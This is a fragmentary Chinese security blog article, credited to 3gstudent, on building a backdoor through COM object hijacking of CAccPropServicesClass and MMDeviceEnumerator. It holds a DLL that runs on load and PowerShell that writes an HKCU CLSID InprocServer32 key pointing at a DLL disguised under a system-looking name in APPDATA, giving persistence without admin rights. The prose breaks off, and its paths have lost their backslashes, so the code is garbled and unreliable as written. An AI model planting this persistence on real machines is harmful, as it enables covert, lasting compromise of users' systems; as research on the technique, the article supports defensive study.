本文讲的是
COM Object hijacking后门的实现思路——劫持CAccPropServicesClass和MMDeviceEnumerator,
在之前的文章《
Use CLR to maintain persistence
》介绍了通过CLR劫持所有.Net程序的方法,无需管理员权限,可用作后门。美中不足的是通过WMI添加环境变量需要重启系统。
C:UsersaAppDataRoamingMicrosoftInstaller{BCDE0395-E52F-467C-8E3D-C4579291692E}api-ms-win-downlevel-1x86-l1-1-0._dl
#pragma comment(linker,"/OPT:nowin98") BOOL TestMutex() { HANDLE hMutex = CreateMutex(NULL, false, "myself"); if (GetLastError() == ERROR_ALREADY_EXISTS) { CloseHandle(hMutex); return 0; } return 1; } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: if(TestMutex()==0) return TRUE; WinExec("calc.exe",SW_SHOWNORMAL); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; }return TRUE; }
C:UsersaAppDataRoamingMicrosoftInstaller{BCDE0395-E52F-467C-8E3D-C4579291692E}api-ms-win-downlevel-1x86-l1-1-0._dl
if((Test-Path %APPDATA%MicrosoftInstaller) -eq 0) { Write-Host "[+] Create Folder: $env:APPDATAMicrosoftInstaller" new-item -path $env:APPDATAMicrosoft -name Installer -type directory }
if((Test-Path "%APPDATA%MicrosoftInstaller{BCDE0395-E52F-467C-8E3D-C4579291692E}") -eq 0) { Write-Host "[+] Create Folder: $env:APPDATAMicrosoftInstaller{BCDE0395-E52F-467C-8E3D-C4579291692E}" new-item -path $env:APPDATAMicrosoftInstaller -name {BCDE0395-E52F-467C-8E3D-C4579291692E} -type directory }
if ([Environment]::Is64BitOperatingSystem) { Write-Host "[+] OS: x64" } else { Write-Host "[+] OS: x86" }
$RegPath="HKCU:SoftwareClassesCLSID" New-ItemProperty $RegPath"{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}InprocServer32" "(default)" -value $env:APPDATA"MicrosoftInstaller{BCDE0395-E52F-467C-8E3D-C4579291692E}api-ms-win-downlevel-1x86-l1-1-0._dl" -propertyType string | Out-Null
HKCUSoftwareClassesCLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7} HKCUSoftwareClassesWow6432NodeCLSID{BCDE0395-E52F-467C-8E3D-C4579291692E }
原文发布时间为:2017年8月28日
本文作者:3gstudent
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。